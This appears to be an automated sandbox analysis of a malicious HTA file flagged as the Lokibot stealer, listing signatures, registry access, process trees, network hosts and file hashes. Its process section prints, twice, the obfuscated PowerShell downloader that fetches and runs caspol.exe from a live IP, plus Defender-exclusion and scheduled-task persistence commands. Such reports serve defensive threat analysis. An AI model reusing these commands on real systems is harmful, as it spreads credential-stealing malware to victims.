Analysis Overview
SHA256
b32a47004e6134879604cb3246c89b351bc5fb2547b1d87070846c5719951727
Threat Level: Known bad
The file seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta was found to be: Known bad.
Malicious Activity Summary
Lokibot
Lokibot family
Downloads MZ/PE file
Evasion via Device Credential Deployment
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Checks computer location settings
Executes dropped EXE
Reads user/profile data of web browsers
Loads dropped DLL
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Enumerates physical storage devices
System Location Discovery: System Language Discovery
outlook_win_path
outlook_office_path
Suspicious use of WriteProcessMemory
Scheduled Task/Job: Scheduled Task
Suspicious use of AdjustPrivilegeToken
Modifies Internet Explorer settings
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-18 17:36
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-18 17:36
Reported
2024-11-18 17:38
Platform
win7-20240903-en
Max time kernel
145s
Max time network
149s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1728 set thread context of 1736 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta"
C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cwze1s9x.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE274.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE273.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp711B.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 0d7f70e04f33c04ce8dd9330b263843c |
| SHA1 | 30dab154ed436b5dfe3167a5e46bd4703557b32f |
| SHA256 | 29bf57c380e228b8f9edb77f40cd72c244f26fbc91a9c077025e662ce75c4fc3 |
| SHA512 | 64e03e30a8173df3a5223484af5b356208316392856be76282b568f9ac985cf385b933fc1925c4ea4ca42688d958b3f7d737c5fc05372e844aaea490eedb205e |
\??\c:\Users\Admin\AppData\Local\Temp\cwze1s9x.cmdline
| MD5 | bdf4022164a22c97c8ba867b49c343b3 |
| SHA1 | b99a0a9a053dd04b3a38deafdbc47c63cb8e2b0c |
| SHA256 | 4df89fb32e2ca30561e621bd9e24b082e05e9bb18523103d007adc541de66bf6 |
| SHA512 | 54529b0b0d095877a4a20e537533b7b1a1fa2006c2099041985bb07ee649233c44bc032f9c7d01e87715a1ca91e490db2ee4d46370d784d1ac0fdd957e139869 |
\??\c:\Users\Admin\AppData\Local\Temp\cwze1s9x.0.cs
| MD5 | ee60617752b2061187e3773f962ff810 |
| SHA1 | 5d3dc400820671b51499e9003fcbd7794d07e315 |
| SHA256 | 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9 |
| SHA512 | 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCE273.tmp
| MD5 | 7946b5d8799b17c0f43cd5200524848b |
| SHA1 | d1591410e6b5124bf8e04f561444bdc77797b249 |
| SHA256 | ef81a3e57f33f5cee9fa38ebc2bd96c208de3ea7db103b18536e2a9c90f600e2 |
| SHA512 | 830dad1da4baa2e2c23bf342eb601664c1c5f114e405cbd3949d150d4964f7709e350dc8d49dccf1efc540e0f35a26b31e55f6e2de059a0c58737eca6059c2c3 |
C:\Users\Admin\AppData\Local\Temp\RESE274.tmp
| MD5 | 450245980e4a0b91980cb710df5cd234 |
| SHA1 | a790c8dfbed1cf6cbc2ca8f97a9c14b857c67ada |
| SHA256 | ce4a0471b9bfad7dffe9b886e97dcc6bf050d2e66751472a237bbdf092a49079 |
| SHA512 | 92616cbe1a5d1f68cdfe9b4e819f3531fc2c093c9f9d527048048f76bb12401b07a618d4a79666441a46932fef4be0dcb28a45ac28bcc4726efff3476fbd0604 |
C:\Users\Admin\AppData\Local\Temp\cwze1s9x.dll
| MD5 | e46c72f16f0802494a68a28b949017e1 |
| SHA1 | 97768e4f17c9fde9ba8b82092c786a578591cbc5 |
| SHA256 | c61c63edd36917bf8adb2c3f94860657aa68d7923b1a30c9029c71cfd0fcb30d |
| SHA512 | 5b67be0d2f6929f82fbe3557562b898574368a5ff7b1d778a4b9763bcf0e01377175f58fe63c585fe10ef1bb7da3fa9d4f421bddef254421818375bce4b88c88 |
C:\Users\Admin\AppData\Local\Temp\cwze1s9x.pdb
| MD5 | 79ce7a5d11a2d8f07a481dfdc96454bb |
| SHA1 | 7017c7beb43ecad9f761af2aee6f6357c2124725 |
| SHA256 | 38c73c5bc38a191be96b536e7ee1c1af81b0677168c393b81afc4f8293527211 |
| SHA512 | 651615bf6b1ed7466ac6721abcf0dbc7806d7c7ec265ad20925c8d819e8f29136aea2cc74b793be2a3da396e40296c854afcd52a641f274cbf81b02c752f6c8c |
\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 8c34e99269d4121a0dfe4c3eaa9e269f |
| SHA1 | 5bbaa7dc726324e057eb4f78856c368488c4805a |
| SHA256 | 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76 |
| SHA512 | 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277 |
memory/1728-44-0x00000000000F0000-0x0000000000172000-memory.dmp
memory/1728-45-0x00000000004D0000-0x00000000004E2000-memory.dmp
memory/1728-46-0x00000000048E0000-0x0000000004944000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | d8c8dfb4ef4f7328589ebd1cad89ab37 |
| SHA1 | 04d6f797e7eb5b67d3f162815762b31bd3d801e5 |
| SHA256 | 0eae7d98efcc5cbdcdbebe37255078c197592631a788133b6248b153e8c84d65 |
| SHA512 | f36691b3f5013554c905b5e5609b496d4f5bf388e1e92d0127cc22fc440a87006ba748690725833acc17682e36e626eff4d1992e9b3d1cddfba1bc73375d1c26 |
C:\Users\Admin\AppData\Local\Temp\tmp711B.tmp
| MD5 | 4eaac05c61f1e8a55497b156f92f1671 |
| SHA1 | dd1fe1eac7da8df6c5938655b84cb1447d8920b6 |
| SHA256 | 1965181bb33ded12dd71eca0de02950457e760df5e4eaf2302a83209b2eb125c |
| SHA512 | 33898c42e189f89333c04aa7dc175e0a3a0b78f7c7783e273d60d173c03b86af9e96e180f03c354ed1855f28f9c3be479e621daa96cc88c898088a502f889824 |
memory/1736-63-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1736-72-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1736-77-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1736-75-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1736-74-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1736-70-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1736-68-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1736-66-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2872745919-2748461613-2989606286-1000\0f5007522459c86e95ffcc62f32308f1_4d69f9e1-559c-46cf-82ac-67913db47c55
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-18 17:36
Reported
2024-11-18 17:38
Platform
win10v2004-20241007-en
Max time kernel
129s
Max time network
147s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4160 set thread context of 3252 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
